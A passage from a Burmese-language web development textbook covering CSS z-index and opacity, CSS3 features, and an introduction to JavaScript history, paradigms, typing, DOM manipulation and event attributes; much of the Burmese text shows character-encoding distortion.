User Interface Element ိတတွည်ိ ဆာက်ြတဲ့အခါအသံုးဝငတ်ဲ့ ိနာက်ြထပ် Property နစ်ှခကုိုြ ပဖေည့်စွက်ြိလလ့ာ
ထားသင့်ပါိသးတယ်။

z-index Property ကုိြ Element ိတ ွတစ်ခနုဲ့တစ်ခထုပပ်ပးီ Overlap ပဖေစ်တဲ့အခါ၊ ဘယ် Element ကုိြ အိပါ်ကြ
ိဖောပ်ပရေမလ ဲသတမ်တှဖ်ေို့အတက်ွြ အသံုးပပုရေပါတယ်။ တနဖ်ေိုးပမင့်တဲ့သူကြအိပါ်မာှရေှိမာှပဖေစ်ပါတယ်။

#box-one {
  position: absolute;
  top: 100px;
  left: 100px;
  width: 400px;
  height: 280px;
  background: #ff0;
  z-index: 2;
}

#box-two {
  position: absolute;
  top: 150px;
  left: 150px;
  width: 400px;
  height: 280px;
  background: #8a5;
  z-index: 1;
  opacity: 0.8;
}

နမနူာမာှ  #box-one ကြ z-index: 2 ပဖေစ်ပပးီ  #box-two ကြ z-index: 1 ပဖေစ်တဲ့အတက်ွြ တနဖ်ေိုးပမင့်တဲ့
#box-one ကုိြ  အိပါ်ကြိဖောပ်ပမာှပပဲဖေစ်ပါတယ။်  opacity Property  ကုိြ  Element  ိတရွေဲ့  Transparency
Level သတမ်တှဖ်ေို့ အသံုးပပုနိုငပ်ါတယ်။ အပမင့်ဆံုးတနဖ်ေိုး 1 သတမ်တှထ်ားရေင် ပုံမနှအ်တိုငး်ိဖောပ်ပမာှပဖေစ်ပပးီ၊ အနမိ့်
ဆံုးတနဖ်ေိုး  0  သတမ်တှထ်ားရေင်ိ တာ့  Element  ကြ မပမငရ်ေ ိတာပ့ဲ  လုံးဝိပျာက်ြကွြယ်ိနမာှပဖေစ်ပါတယ်။  0  နဲ့  1
အကြား သတမ်တှလ်ိုတဲ့ Transparency Level ကုိြ ဒဿမကိြနး်နဲ့ သတမ်တှ်ိ ပးနိုငပ်ါတယ်။
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Conclusion
ဒအီခန်းမာှ  ကြျွန်ိ တာတ်ိုိ့ လလ့ာခဲ့တဲ့  လပု်ိ ဆာငခ်ျက်ြိတဟွာ  CSS  Level  2.1  ရေဲ့  လပု်ိ ဆာငခ်ျက်ြိတ ွ ပဖေစ်ပါ
တယ်။ HTML5 နဲ့အတူ ပါဝငလ်ာတဲ့ CSS3 မာှိတာ၊့ ပဖေည့်စွက်ြလပု်ိ ဆာင် ချက်ြိပါငး်များစွာ ပါဝငလ်ာခဲ့ပါတယ်။
Layout  ိတ ွဖေနတ်းီဖေို့အတက်ွြ၊  Flex Box  လိုလပု်ိ ဆာငခ်ျက်ြမျို းိတ ွပါဝငလ်ာသလို၊  Box Model  မာှရေှိိ နတဲ့
Margin,  Padding, Border  တိုိ့ အကြာင့်  မနှး်ဆရေခက်ြတဲ့  Width,  Height  ပပဿနာကုိြ ိပဖေရေငှး်နိုငဖ်ေို့  Bordered
Box လို လုပ်ိ ဆာငခ်ျက်ြိတလွညး် ပါဝငလ်ာပါတယ်။ Mobile Devices ိတထွက်ွြိပါ်လာပခငး် နဲ့အတူ Website
တစ်ခကုိုြ အသံုးပပုမယ့် Device ိတရွေဲ့  Resolution နဲ့ Screen Size အမျို းမျို းရေှိိ နနိုငတ်ဲ့ပပဿနာကုိြ ိပဖေရေငှး်နိုငဖ်ေို့
အတက်ွြ  Media  Query  လုိ  လုပ်ိ ဆာငခ်ျက်ြိတ ွ ပါဝငလ်ာပါတယ်။  Gradient,  Box  Shadow  စတဲ့  အိပခခံ
Visual  Effect  ိတနွဲ့  Animation  လပု်ိ ဆာငခ်ျက်ြိတလွညး်  ပါဝငလ်ာပါတယ်။  Font  ကုိြ  Website  နဲ့အတူ
တစ်ခါတညး်တွဲဖေက်ြထည့်သွငး်ိပးလိုက်ြပခငး် အားပဖေင့် အသံုးပပုသူထမံာှ  Font  ရေှိမရေှိ ပစူရောမလိုိ တာပ့ဲ အသံုးပပုလို
ရော Font ကုိြ သံုးနိုင်ိ စတဲ့ Font Embed လို လုပ် ိဆာငခ်ျက်ြမျို းိတနွဲ့ အပခား အသံုးဝငတ်ဲ့ အိပခခလံပု်ိ ဆာငခ်ျက်ြ
ိတပွဖေစ်တဲ့  Border Image, Multiple Background, Background Image Size  စတဲ့ လပု်ိ ဆာငခ်ျက်ြိပါငး်
များစွာ ပါဝငလ်ာခဲ့ပပပီဖေစ်ပါတယ။်

အခန်း  (၁၃) မာှ  HTML5 အိအကြာငး်ိဖောပ်ပတဲ့အခါ အသံုးဝငတ်ဲ့ အိပခခံ  CSS3 လုပ်ိ ဆာငခ်ျက်ြအချို ့ကုိြ တဲွဖေက်ြ
ိဖောပ်ပသွားမာှပဖေစ်ပပီး၊ အခန်း (၁၄) မာှ Mobile Web အိအကြာငး်ိဖောပ်ပတဲ့အခါ CSS3 Media Query အိအကြာငး်
ကုိြ  ထည့်သွငး်ိဖောပ်ပိပးသွားမာှပဖေစ်ပါတယ်။  အခဆုိုရေင်  CSS3  သာမကြ၊  CSS4  နဲ့  CSS5  တို့ကုိြပါ  စတင်
ိဆာငရ်ေက်ွြိနအကြပပပီဖေစ်တဲ့အတက်ွြ  အဆက်ြမပပတ်  တုိးတက်ြိနတဲ့  CSS  နညး်ပညာများကုိြ  စာဖေတသူ်ကုိြယ်တိုင်
လညး် အဆက်ြမပပတ ်လိုက်ြလံိ လလ့ာသွားဖေို့ လုိအပမ်ာှပပဲဖေစ်ပါတယ်။
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အခနး် (၄) JavaScript
DOM Manipulation လပ်ုိဆာင်ချကြပ်ဖေင့် HTML အား အသကြသွ်င်းပခင်း

JavaScript Programming Language ကုိြ Mozilla Corporation ကုိြပးူတွဲတည်ိ ထာငခ်ဲ့သူ Brendan Eich ကြ
၁၉၉၅ ခနုစ်ှမာှ  စတငဖ်ေနတ်းီတထီငွခ်ဲ့တာပါ။ အဓကိြအားပဖေင့်  Web Browser  ထမဲာှ အလပုလ်ပုတ်ဲ့  Client-side
Script Language  တစ်ခပုဖေစ်ပါတယ်။ ဒါိပမယ့်  JavaScript  ကုိြ  Desktop Widgets  ိတ၊ွ  Mobile App  ိတွ
ဖေနတ်းီဖေိုလ့ညး် အသံုးပပုနိုငပ်ါိသးတယ်။ အခုိ နာက်ြပိုင်းမာှိတာ့ Server-Side Script အပဖေစ်ပါ အသံုးချလာအကြပပီ
ပဖေစ်ပါတယ်။

အမညမ်ာှ  Java  ဆုိတဲ့ိ ဝါဟာရေ ပါဝင်ိ နိပမယ့် လက်ြိတွ့မာှ   Java  နဲ့  JavaScript  တို့  ဆက်ြစပပ်ခငး်မရေှိပါဘးူ။
Language  သဘာဝမတသူလို အသံုးချနယ်ပယ်ိတမွတအူကြပါဘးူ။  Java  ိရော  JavaScript  ကြပါ  C/C++ ိရေးထုံး
ိတကုိွြ နမနူာယူထားတဲ့အတက်ွြ တစ်ချို ့ ိနရောိတမွာှ Java နဲ့ JavaScript တို့ရေဲ့  ိရေးထုံးပုံစံ ဆငတ်ာိလာက်ြသာရေှိ
ပါတယ်။  Language  သဘာဝအရေ ဆုိရေင်  JavaScript  ကြ  Java  နဲ့သိပမ်တပူဲ   Scheme, Lisp, Self  အစရေှိတဲ့
Language ိတနွဲ့ပိုမိုနးီစပတ်ညူတီာပါ။  JavaScript ရေဲ့မလူပထမအမညက်ြ Mocha လ့ုိိခါ်ပါတယ်။ ိနာက်ြိတာ့
LiveScript  လ့ုိ  ိပပာငး်ခဲ့ပါတယ်။ ိနာက်ြဆံုးအမနှတ်စ်ကြယ် ိအကြပငာိတာမ့ှ  JavaScript  ဆုိတဲ့အမည် ပဖေစ်သွား
တာပါ။

JavaScript  ကုိြတထီငွခ်ဲ့တဲ့ ၁၉၉၅ ခနုစ်ှမာှ  Java Programming Language  ကြ အရေမး်ိရေပနး်စားိနချနိ်  ပဖေစ်ပါ
တယ်။ Netscape ကြ သူတိုရ့ေဲ့  Language သစ်ကုိြ Promote လုပဖ်ေိုအ့တက်ွြ နာမညသိ်ပက်ကီြးိနတဲ့  Java ရေဲ့  အမည်
ကုိြ အသံုးချ ပပးီ JavaScript လိုိ့ ခါ်ခဲ့ပခငး် ပဖေစ်တယ်လို့ တစ်ချို ့ကြဆုိအကြပါတယ်။  Java ဆုိတဲ့ အမညကုိ်ြအသံုးပပုခငွ့်
ရေတဲ့ အပပန် အလနှအ်ိနနဲ့  Netscape Navigator Browser မာှ Java ကုိြ Build-in ထည့်သွငး်ိပးဖေိုသ့ိဘာတခူဲ့
တယ်လို့လညး် ဆုိအကြပပနပ်ါတယ်။ လုိရေငး်ကြိတာ့  Java နဲ့ JavaScript ဟာ Man နဲ့ Mango လိုပဲ အမညဆ်ငတ်ူ
တာကြလွဲပပးီ လက်ြိတွ့မာှ သက်ြဆိငုပ်ခငး်မရေှိဘးူဆုိတဲ့ အချက်ြပပဲဖေစ်ပါတယ်။

JavaScript စတင်ိ ပါ်ိပါက်ြလာပပးီမအကြာခငမ်ာှ အလျငအ်ပမနတ်ိုးတက်ြလာတဲ့အတက်ွြ Microsoft ကြလညး် ၁၉၉၆
မာှ ိအကြပငာခဲ့တဲ့ Internet Explorer 3 မာှ JavaScript ကုိြ ထည့်သွငး်ိပးလာခဲ့ပါတယ်။ ၁၉၉၆ ခနုစ်ှ နိုဝငဘ်ာမာှ
JavaScript  ကုိြ  Industrial  Standard  အပဖေစ်သတမ်တှ်ိ ပးဖေို့  ECMA  International  ကုိြတငပ်ပခဲ့ပါတယ်။  ဒါ
ိအကြာင့် ိနာက်ြပိုငး်မာှ ECMA Script ဆုိတဲ့အမညန်ဲ့ Industrial Standard တစ်ခ ုပဖေစ်လာခဲ့ပါတယ်။
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အစပိုငး်မာှ  JavaScript  ဆုိတာ Web Browser  ထဲမာှပဲ အလပုလ်ပုတ်ဲ့  Script Language  သက်ြသက်ြသာ ပဖေစ်ခဲ့
ိပမယ့်၊ ၂၀၀၀ ပပည့်နစ်ှိနာက်ြပိုငး် တွငက်ြျယ်လာတဲ့ Ajax နညး်ပညာိအကြာင့် အိတာ်ိ လးအိရေးပါတဲ့ Language
တစ်ခု  ပဖေစ်လာခဲ့ပါတယ်။  Ajax  ဆုိတာအမနှ်ိ တာ့  JavaScript  အိပခပပု  နညး်စနစ်တစ်မျို းပပဲဖေစ်ပါတယ်။  Ajax
အိအကြာငး်ကုိြ  အခနး်  (၉)  Ajax  with  jQuery မာှဆက်ြလက်ြိဖောပ်ပမာှပါ။  ဒနီညး်ပညာိအကြာင့်  Web  ဆုိတာ
Document ိတခွျတိဆ်က်ြယံုသကြသ်က်ြမဟတု်ိ တာပ့ဲ အသံုးချ  App Platform တစ်ခအုပဖေစ် ပပီပီပငပ်ပင် ိရောက်ြရေှိ
လာခဲ့ပခင်းပဖေစ်တယ်လို့ ဆုိနိုငပ်ါတယ်။ ဒါ့အပပင၊် ိနာက်ြပိုငး်မာှ  NodeJS လုိ Server-side JavaScript နညး်ပညာ
ထက်ွြိပါ်လာပပးီ၊ HTML5 နဲ့အတူ App Development အတက်ွြလိုအပတ်ဲ့အိပခခံ လပု်ိ ဆာင် ချက်ြိပါငး်များစွာ
ဟာ JavaScript API များအပဖေစ် ပါဝငလ်ာပခငး်နဲ့အတူ JavaScript ရေဲ့အခနး်ကြဏဟာလညး် ိခတသ်စ် Software
Development ရေဲ့  အဓကိြနညး်ပညာအပဖေစ်ကုိြ ိရောက်ြရေှိလာခဲ့ပပပီဖေစ်ပါတယ်။

ဒလီိုတိုးတက်ြိပပာငး်လလဲာမှု တွိ အကြာင့်  ကြိန့ိ ခတမ်ာှ၊  C/C++,  Java,  C#,  Objective-C,  PHP,  Ruby,
Python  စသပဖေင့်  ဘယ်လိုနညး်ပညာကုိြ အထးူပပုကြျွမး်ကြျငတ်ဲ့  Programmer  ပဖေစ်ိနပါိစ၊  JavaScript  ကုိြိတာ့
အတိုငး်အတာ တစ်ခထုိ သိရေ၊ ိရေးရေတက်ြပါတယ်။ ဒါိအကြာင့်လညး် JavaScript  ဟာ Programming တိုငး် တက်ြ
သိရေတဲ့ လသံုူးအများဆံုး Programming Language တစ်ခ ုပဖေစ်မနှ်းမသိ ပဖေစ်လာခဲ့ပါတယ။်

4.1 - Nature of JavaScript
JavaScript  ဟာ  Multi-Paradigm  Language  တစ်ခပုဖေစ်ပါတယ်။  Programming  Language  ိတကုိွြ
Imperative  Language,  Object-oriented  Language,  Function  Language  စသပဖေင့်  Paradigm  အလိုက်ြ
အမျို းအစား ခွဲပခားနိုငပ်ါတယ်။ JavaScript ရေဲ့  ထူးပခားချက်ြကြိတာ ့ပုံစံစံုနဲ့ိ ရေးသားနိုငပ်ခငး်ပပဲဖေစ်ပါတယ်။

JavaScript ကုိြ ရုိးရုိးရေငှး်ရေငှး် Line-by-Line အလပုလ်ပုတ်ဲ့ Imperative ပုံစံနဲ့ိ ရေးသားနိုငပ်ါတယ်။  Imperative
Programming မာှ Code လုိငး်တိုင်းကြညနွအ်ကြားချက်ြ (Instruction) ိတပွဖေစ်ပပးီ Program ကုိြ ညနွအ်ကြားချက်ြအစု
အိဝး (Instruction Set) တစ်ခအုိနနဲ့ ဖေွဲ့စညး်တည်ိ ဆာက်ြပခငး်ပဖေစပ်ါတယ်။ JavaScript မာှ C Programming
Language နဲ့ဆငတ်တူဲ့ ိရေးသားပုံိ ရေးထုံး(Syntax)  ိတ ွရေှိပါတယ်။ Java, C#, PHP တို့ဟာလညး် JavaScript
လိုပဲ  C  နဲ့  ိရေးထုံးဆငလ်ို့  Language  တစ်ခကုိုြ  ိလ့လာဖေးူရေင်  ိနာက်ြတစ်ခကုိုြ  ိလ့လာတဲ့အခါ  အများကကီြး
အိထာက်ြအကူြပဖေစ်ိစမာှ ပဖေစ်ပါတယ်။

JavaScript  ကုိြ  Object-oriented  ပုံစံနဲ့လညး်ိရေးသားနိုငပ်ါတယ်။  ထးူပခားချက်ြကြိတာ့  Object-oriented
Language ိတမွာှ ပုံမနှအ်ားပဖေင့် Object တည်ိ ဆာက်ြဖေို့အတက်ွြ Class ိတလွိုအပပ်ပးီ JavaScript မာှိတာ့ အ့ဲဒီ
လို  Class  ိတမွပါပဲ  Object  ိတကုိွြ တိုက်ြရုိက်ြ တည်ိ ဆာက်ြယရူေိလရ့ေှိပခငး်  ပဖေစ်ပါတယ်။  Class  ကုိြ  အိပခခတံဲ့
Object-oriented Language ိတကုိွြ Classical OOP လိုိ့ ခါ်ပပးီ JavaScript ကုိြိတာ့ Prototype OOP လ့ုိိခါ်
ပါတယ်။  JavaScript Object  ိတတွည်ိ ဆာက်ြ ရောမာှ အသံုးပပုရေတဲ့  JSON (JavaScript Object Notation)
အိအကြာငး်ကုိြ အခနး် (၅) jQuery မာှ ိဖောပ်ပိပးပါမယ်။

မတ်ှချကြ် ။ ။ ဒစီာိရေးသားိနချိနမ်ာှိတာ့ JavaScript ရေဲ့  ိနာကြ် Update Version လုိဆုိ့ရေမယ့် ECMAScript 6 (ES6) မာှ
Class  ိရေးထံုးစတငပ်ါဝငလ်ာပါတယ။်  ဒါိအကြာင့်  JavaScript  နဲ့လညး်  Classical  OOP Language  ိတွမာှလုိ  Class  ကြို
အိပခပပုတ့ဲ OOP ိရေးထံုးနဲ့ စတင်ိ ရေးသားနိုငလ်ာပပီ ပဖေစပ်ါတယ။်
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JavaScript  မာှ  Functional Programming Language  ိတမွာှ ရေှိိ လရ့ေှိတဲ့ လပု်ိ ဆာငခ်ျက်ြိတလွညး် ပါဝငပ်ါ
တယ်။  Nameless Function  ိတအွသံုးပပုပပးီ  Closure  နဲ့  Callback  လပု်ိ ဆာငခ်ျက်ြိတ ွရေရေှိနိုငပ်ါတယ်။ ပပးီ
ိတာ့  Function  ိတဟွာ First Class Citizen  ိတပွဖေစ်လို့ ိနရောစံုမာှ အသံုးပပုနိုငပ်ါတယ။်  ဥပမာ - Function
တစ်ခကုိုြ ိခါ်ယူတဲ့အခါ အပခား Function တစ်ခကုိုြ Parameter အပဖေစ် ထည့်သွငး်ိပးလိုက်ြနိုငပ်ါတယ်။ Function
တစ်ခကုိုြ  Variable  တစ်ခထုမဲာှ  ထည့်သွငး် ိပးထားနိုငပ်ါတယ်။  Function  တစ်ခအုတငွး်မာှ ိနာက်ြထပ်  Inner
Function ိတ ွNested Function ိတွိ ရေးသားနိုငပ်ါတယ်။ ဒအီခနး်မာှိတာ့ အိပခခံ ကြျတဲ့အပိုငး်ိတကုိွြ အဓိကြ
ထားိဖောပ်ပချငလ်ို့ Nameless Function အိအကြာငး်ကုိြ အခန်း (၅) ိရောက်ြမ ှဆက်ြလက်ြိဖောပ်ပိပးပါမယ်။

JavaScript  ဟာ  Script  Language  တစ်မျို းပဖေစ်ပါတယ်။  C/C++,  Java,  C#  တို့လို  Language  ိတကုိွြ
Compiled  Language  လ့ုိိခါ်ပါတယ်။  Compiled  Language  ိတမွာှ  ိရေးသားထားတဲ့  Program  ိတကုိွြ
ကွြနပ်ျူတာကြ နားလညတ်ဲ့ Machine Code ပဖေစ်ိအာင် ိပပာငး်တဲ့အိနနဲ့ Compile လုပ်ိ ပးရေပါတယ။် Compile
လပုပ်ပးီရေရေှိလာတဲ့  ရေလဒကုိ်ြသာ  လက်ြိတွ့အသံုးပပုရေတာပါ။  PHP,  Ruby,  Python  နဲ့  JavaScript  တို့ကြိတာ့
Script  Language  ိတပွဖေစ်ပါတယ်။  Script  Language  ိတမွာှိတာ့  ိရေးသားထားတဲ့  Program  ကုိြ  ကကိြုတင်
Compile လုပစ်ရောမလိုပ ဲိရေးထားတဲ့အတိုငး် တိုက်ြရိက်ုြ အသံုးချနိုငတ်ဲ့ Language ိတပွဖေစ်ပါတယ်။

Compiled  Language  ိရော  Script  Language  ိတမွာှပါ  အားသာချက်ြအားနညး်ချက်ြကုိြယ်စီရေှိအကြပါတယ်။
Compiled Language ိတကွြ Pre-Compile လပုထ်ားတဲ့အတက်ွြ Performance ပိုိ ကြာငး်အကြပါတယ်။ တစ်ချို ့
အမာှးိတကုိွြ  Compile  လုပခ်ျနိမ်ာှ  စစ်ိဆးိဖောပ်ပနိုငလ်ို့  ပိုပပးီအမာှးနညး်တယ်လို့  ဆုိနိုငပ်ါတယ။်   Scripting
Language ိတကွြိတာ့ Program ကုိြ Run လုိက်ြတဲ့ အချနိက်ြျိတာမ့ှ Interpreter ိခါ် ဘာသာပပန် စနစ်တစ်မျို း
အသံုးပပုပပးီ  ကွြနပ်ျူတာနားလညတ်ဲ့  Machine  Code  ကုိြိပပာငး်တာပဖေစ်လို့  Performance  ပိုငး်မာှ  Compiled
Language  ိတွိ လာက်ြ  မိကြာငး်ပါဘူး။  ဒါိပမယ့်  Script  Language  ိတကွြ  Productive  ပိုပဖေစ်ပါတယ်။
Productive ပဖေစ်တယ် ဆုိတာ Code ိရေးသားရေတာ ပိုပမနပ်ပးီ အလပုတ်ငွတ်ာကုိြဆိုလိုတာပါ။

PHP  သုိမ့ဟတု်  JavaScript  နဲ့  Program  ိတွိ ရေးတဲ့အခါ သွားိလရ့ေှိတဲ့  Workflow  ကြ အလနွရုိ်းရေငှ်းပါတယ်။
တစ်ဘက်ြမာှ Code Editor ကုိြဖေငွ့်၊ တစ်ဘက်ြမာှ Browser ကုိြဖေငွ့်ထားပပီး Code နညး်နညး်ိရေးလိုက်ြ ရေလဒကုိ်ြ တစ်
ဘက်ြ Browser မာှ အကြည့်လိုက်ြ၊ လပုသွ်ားနိုငတ်ဲ့အတက်ွြ ိရေးိနသမျှ Code လိုငး်တိုငး်ရေဲ့ရေလဒကုိ်ြ တိုက်ြရုိက်ြ နးီပါး
ိတွ့ိနရေလို့ အိတာ်ိ လး အလပုတ်ငွပ်ါတယ်။  Compile Language  ိတမွာှိတာ့ ဒအီားသာချက်ြ မရေနိုငပ်ါဘးူ။
တစ်ခခုုိ ရေးပပးီတိုငး်၊ ရေလဒကုိ်ြစမး်သပန်ိငုဖ်ေို့ Compile အရေငလ်ပုရ်ေမာှပါ။

လက်ြရေှိ Run ိနတဲ့ JavaScript Program တစ်ခကုိုြ Browser ိတမွာှပါတဲ့ JavaScript Console ကြိန၊ Run ိန
တနုး်  Run  ိနဆဲမာှပဲ  Code  ိတ ွ ပပငဆ်ငပ်ဖေည့်စွက်ြနိုငပ်ါတယ်။  Program  ကြ ပပငဆ်ငပ်ဖေည့်စွက်ြလိုက်ြတဲ့အတိုငး်
ိပပာငး်ပပးီ အလပုလ်ပု်ိ ပးသွားမာှ ပဖေစ်ပါတယ်။ Compiled Language ိတမွာှလညး် Program အလပုလ်ပုသွ်ားပုံ
အိသးစတိကုိ်ြိလလ့ာနိုငတ်ဲ့  Debug  လပု်ိ ဆာငခ်ျက်ြိတရွေှိပါတယ်။ ဒါိပမယ့် လက်ြရေှိ  Run  ိနတဲ့  Program ကုိြ
တိုက်ြရုိကြပ်ပငဆ်ငဖ်ေိုဆုိ့တာိတာမ့ပဖေစ်နိုငပ်ါဘးူ။  ပပငစ်ရောရေှိတာပပင၊်  ိနာက်ြတစ်ကကိြမ်  Compile  ပပနလ်ပုမ်သှာ
ပဖေည့်စွက်ြ ပပငဆ်ငလ်ိုက်ြတဲ့ရေလဒကုိ်ြ ရေရေှိမာှပဖေစ်ပါတယ်။
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JavaScript ဟာ Dynamic Type Language တစ်မျို းလညး်ပဖေစ်ပါတယ်။ Type Checking ကုိြ Compile Time
မာှ  မလပုပ်ဲ  Runtime  မာှ  လုပတ်ဲ့  Language  အမျို းအစားလို့ဆိုလိုတာပါ။  Type  ဆုိတာ  အိပခခအံားပဖေင့်
Boolean,  Number,  String  အစရေှိတဲ့  Data  Type  ိတနွဲ့  Object  Hierarchy  ကုိြိပပာတာပါ။  ကြျွန်ိ တာတ်ို့
Developer ိတကွြ  Data Type  ကုိြ  ကုိြယ်တိုငစ်မီဖံေို့မလိုပဲ   Language  ကြ စီမံိ ပးသွားမာှပဖေစ်တယ် လ့ုိဆုိနိုငပ်ါ
တယ်။  ဥပမာ  - 

var x = 123;

- လိုိ့ အကြပငာလိုက်ြရေင်  Variable x ရေဲ့  Data Type ကြ အလိုအိလျှာက်ြ Number ပဖေစ်သွားမာှပါ။ ကြျွန်ိ တာတ်ို့ ကြ
Integer ပဖေစ်ိအကြာငး် Language ကုိြ သီးပခားိပပာပပိပးိနဖေို့မလိုပါဘးူ။ ိနာက်ြတစ်ိနရောမာှ -

x = "Hello, World!"; 

- လ့ုိ ထပမ်ံိ ရေးသားလိုက်ြရေင် Variable x ရေဲ့  Data Type ကုိြ String အပဖေစ် Language ကြအလိုလိုိ ပပာငး်ိပးသွား
မာှပါ။ Dynamic Type သဘာဝကြ JavaScript ရေဲ့  Script Language အားသာချက်ြိအကြာင့် ရေရေှိလာတဲ့အလပုတ်ငွ်
ိစမှုကုိြ ထပ်ိ ပါငး် ပဖေည့်စွက်ြိပးပါတယ။် ကြျွန်ိ တာတ်ို့ကြ  Data Type ကုိြ ကုိြယ်တိုငစီ်မံိ နစရောမလိုိ တာပ့ဲ အဓကိြ
အလပုလ်ပုပ်ုံပိုငး်ကြိုသာ ပိုမိုအာရံု စုိက်ြနိုငသွ်ားိစတဲ့ အားသာချက်ြထပမ်ရံေရေှိပါတယ်။

4.2 - Purpose of JavaScript
Client-side  JavaScript  ကုိြ  အဓကိြကြဏသံုးမျို းမာှ  အသံုးချနိုငပ်ါတယ်။။  DOM  Manipulation,  Ajax  နဲ့
HTML5 API တို့ပပဲဖေစ်ပါတယ်။ ဒအီခနး်မာှ DOM Manipulation ကုိြ အဓကိြိလလ့ာသွားမာှပါ။

DOM ဆုိတာ Document Object Model ရေဲ့အတိုိ ကြာက်ြပဖေစ်ပါတယ်။ DOM ဟာ HTML Document ထဲမာှရေှိ
တဲ့  Element  ိတကုိွြ  JavaScript  နဲ့လိုအပသ်လိုစီမနံိုင်ိ အာင်  ပဖေည့်စွက်ြိပးထားတဲ့  API  တစ်ခပုဖေစ်ပါတယ်။ စီမံ
တယ်ဆုိတာ၊ ဥပမာ Document ထမဲာှမရေှိိ သးတဲ့ Element ိတထွပထ်ည့်ပခငး်၊ ရေှိိ နတဲ့ Element ိတပွဖေုတထ်တု်
ပခငး်၊ Element Content ိတပွပငဆ်ငပ်ခင်း၊ တစ်ချို ့ Element ိတကုိွြ ိခတ္တ ိဖေျာက်ြထားလိုက်ြပခငး်၊ လုိအပတ်ဲ့အခါ
ိဖေျာက်ြထားတဲ့  Element  ကုိြပပနလ်ည် ိဖောပ်ပိစပခငး်၊  စတဲ့လပု်ိ ဆာငခ်ျက်ြိတကုိွြ  JavaScript  နဲ့  ပပုလပုန်ိုငပ်ခငး်
ပဖေစ်ပါတယ်။

Event  လိုိ့ ခါ်တဲ့  လပု်ိ ဆာငခ်ျက်ြနဲ့တွဲဖေက်ြလိုက်ြတဲ့အခါမာှိတာ့   JavaScript  ကြ  DOM  Manipulation  ကုိြ
အသံုးပပုသူရေဲ့  ညနွအ်ကြားချက်ြိပါ်မတူညပ်ပးီ  လပု်ိ ဆာင်ိ ပးနိုငမ်ာှပပဲဖေစ်ပါတယ်။  ဥပမာ  -  Click  နှိပလ်ိုက်ြတဲ့အခါ
Menu ိပါ်လာိစ တဲ့လပု်ိ ဆာငခ်ျက်ြ။ Select Box ကြိန တနဖ်ေိုးတစ်ခကုိုြိရေးွလိုက်ြတဲ့အခါ လက်ြရေှိိ ဖောပ်ပထားတဲ့
အချက်ြအလက်ြိတကုိွြ ိပပာငး်လဲိ ဖောပ်ပိပးသွားတဲ့ လပု်ိ ဆာငခ်ျက်ြမျို းိတပွဖေစ်ပါတယ်။ 
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4.3 - DOM Basic
JavaScript  ကုိြ အသံုးပပုပပးီ  DOM Manipulation ပပုလပုန်ိုငဖ်ေို့အတက်ွြ အချက်ြ (၃)  ချက်ြကုိြ ဦးဆံုးိလလ့ာ ရေပါ
မယ်။ အ့ဲဒါိတကွြိတာ ့Event, Function နဲ့ DOM Selector တို့ပပဲဖေစ် ပါတယ်။  ပုံ (၄-ကြ)  ကုိြိလလ့ာအကြည့်ပါ။

ပုံ (၄-ကြ) HTML Event Attribute

ပုံ (၄-ကြ) နမနူာမာှ <button> Element အတက်ွြ onClick Attribute သတမ်တှ်ိ ပးထားပါတယ။် Attribute
Value  အိနနဲ့  Element  ကုိြ  Click  လုပလ်ိုက်ြရေင်  အလပုလ်ပုသွ်ားိစချငတ်ဲ့  JavaScript  Code  ိတထွည့်သွငး်
ိပးရေတာပဖေစ်ပါတယ်။

onClick အပပငအ်ပခား  Event  Attribute  ိတ ွ ရေှိပါိသးတယ်။   onDblClick,  onMouseOver,
onMouseOut, onMouseMove, onKeyPress, onKeyDown, onKeyUp စတဲ့  Attribute  ိတကုိွြ
လိုအပသ်လို သတမ်တှအ်သံုးပပု နိုငပ်ါတယ်။ onLoad နဲ့ onUnLoad Attribute ိတကုိွြိတာ့ <body> Element
နဲ့  တွဲဖေက်ြအသံုးပပုနိုငပ်ါတယ်။   onFocus, onBlur, onChange, onSelect, onSubmit စတဲ့
Attribute ိတကုိွြိတာ ့Form Element များနဲ့တွဲဖေက်ြ အသံုးပပုနိုငပ်ါတယ်။
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Event Attributes  များအတက်ွြ  Value  အိနနဲ့  JavaScript Code  ိတကုိွြသတမ်တှ်ိ ပးရေပါတယ်။ လက်ြိတွ့မာှ
JavaScript Code ိတအွများကကီြးကုိြ Attribute Value အိနနဲ့တနး်စီိရေးမယ့်အစားအသင့်ိ ရေးထားတဲ့ Function
ိတကုိွြ ိခါ်လိုက်ြတာကြ ိရေးသားပုံကုိြ ပိုပပးီရေငှ်းလငး်ိစမာှပဖေစ်ပါတယ်။ 

Function  ဆုိတာ လုပင်နး်စဉတ်စ်ခပုပးီိပမာက်ြဖေို့အတက်ွြ ိဆာငရ်ေက်ွြရေမယ့်ကိြစ္စများကုိြ အမညတ်စ်ခုိ ပးပပးီ စုစညး်
ိရေးသားထားပခင်း ပဖေစ်ပါတယ်။ ပုံ (၄-ခ) မာှိလလ့ာအကြည့်ပါ။

ပုံ (၄-ခ) JavaScript Function and ID Selector

Function  တစ်ခကုိုြ အမည်ိ ပးသတမ်တှဖ်ေို့အတက်ွြ  function ဆုိတဲ့  Keyword  ကုိြသံုးရေပါတယ်။ သူိနာက်ြကြ
ိပးလို  တဲ့အမညန်ဲ့  ဝိုက်ြကွြင်းအဖေငွ့်အပတိလ်ိုက်ြရေပါတယ်။  Function  မာှပါဝငရ်ေမယ့်လပု်  ိဆာငခ်ျက်ြိတကုိွြိတာ့
တနွ့်ကွြင်းအဖေငွ့် အပတိထ်မဲာှ စုစညး်ိရေးသားိပးရေမာှပဖေစ်ပါတယ်။ 

Function အမညကုိ်ြ စာလုံးအကကီြးအိသးိတ၊ွ ကိြနး်ကြဏနး်ိတနွဲ့ Underscore ( _ ) တိုိ့ ရောစပပ်ပးီ နစ်ှသက်ြသလို
ိပးနိုငပ်ါတယ်။ ကြန့်သတခ်ျက်ြတစ်ချို ့ိတာရ့ေှိပါတယ်။  Space  ိတမွပါရေပါဘးူ။  % + - / @ စတဲ့  Special
Character  ိတမွပါရေပါဘးူ။  နပံါတ်ိ တပွါလို့ရေပါတယ်။  ဒါိပမယ့်  နပံါတန်ဲ့မစရေပါဘးူ။  JavaScript  Keyword
ိတနွဲ့ အမည ်တူိ အာင်ိ ပးလို့ မရေပါဘးူ။ 
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မတ်ှချကြ ်။ ။ JavaScript Keyword စာရေငး်ကြို ထည့်သငွး် ိဖောပ်ပလုိကြပ်ါတယ။်

abstract, boolean, break, byte, case, catch, char, class, const, continue, debugger, default, delete, do, double,
else,  enum,  export,  extends,  false,  final,  finally,  float,  for,  function,  goto,  if,  implements,  import,  in,
instanceof,  int, interface,  long, native,  new, null, package, private,  protected,  public,  return,  short,  static,
